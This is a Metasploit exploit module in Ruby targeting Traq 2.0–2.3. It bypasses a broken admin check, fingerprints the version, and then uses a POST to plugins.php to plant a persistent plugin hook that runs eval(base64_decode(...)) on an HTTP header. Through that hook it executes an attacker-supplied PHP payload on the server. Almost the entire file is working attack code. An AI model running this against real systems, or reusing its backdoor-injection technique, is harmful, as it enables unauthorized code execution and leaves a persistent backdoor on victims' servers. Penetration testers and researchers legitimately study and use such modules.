##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

    Rank = ExcellentRanking

 

    include Msf::Exploit::Remote::HttpClient

 

    def initialize(info={})

        super(update_info(info,

            'Name'           => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',

            'Description'    => %q{

                This module exploits an arbitrary command execution vulnerability in

                Traq 2.0 to 2.3. It's in the admincp/common.php script.

 

                This function is called in each script located into /admicp/ directory to

                make sure the user has admin rights, but this is a broken authorization

                schema due to the header() function doesn't stop the execution flow. This

                can be exploited by malicious users to execute admin functionality resulting

                for  e.g.  in execution of arbitrary PHP code leveraging of plugins.php

                functionality.

            },

            'License'        => MSF_LICENSE,

            'Author'         =>

                [

                    'EgiX',  # Vulnerability discovery and exploit

                    'TecR0c' # Metasploit Module

                ],

            'References'     =>

                [

                    [ 'URL', 'http://www.2cto.com/' ],

                    [ 'URL', 'http://traqproject.org/' ],

                ],

            'Privileged'     => false,

            'Payload'        =>

                {

                    'Keys'        => ['php'],

                    'Space'       => 4000,

                    'DisableNops' => true,

                },

            'Platform'       => ['php'],

            'Arch'           => ARCH_PHP,

            'Targets'        => [[ 'Automatic', {} ]],

            'DisclosureDate' => 'Dec 12 2011',

            'DefaultTarget'  => 0))

 

        register_options(

            [

                OptString.new('URI', [true, "The path to the Traq installation", "/"]),

            ],self.class)

    end

 

    def check

        uri = datastore['URI']

        uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"

 

        res = send_request_raw(

            {

                'uri'=> uri

            }, 25)

 

        if (res and res.body =~ /Powered by Traq 2.[0-3]/ )

            return Exploit::CheckCode::Vulnerable

        end

        return Exploit::CheckCode::Safe

    end

 

    def exploit

        p = Rex::Text.encode_base64(payload.encoded)

 

        uri = datastore['URI']

        uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"

 

        res = send_request_cgi(

            {

                'method'    => 'POST',

                'uri'       => uri,

                'vars_post' =>

                    {

                        'plugin_id' => '1',

                        'title' => '1',

                        'execorder' => '0',

                        'hook' => 'template_footer',

                        'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'

                    }

            }, 25)

 

        uri = datastore['URI']

        uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"

 

        res = send_request_cgi(

            {

                'method'  => 'GET',

                'uri'     => uri,

                'headers' =>

                    {

                        'CMD' => p,

                        'Connection' => 'Close',

                    },

            }, 25)

    end

end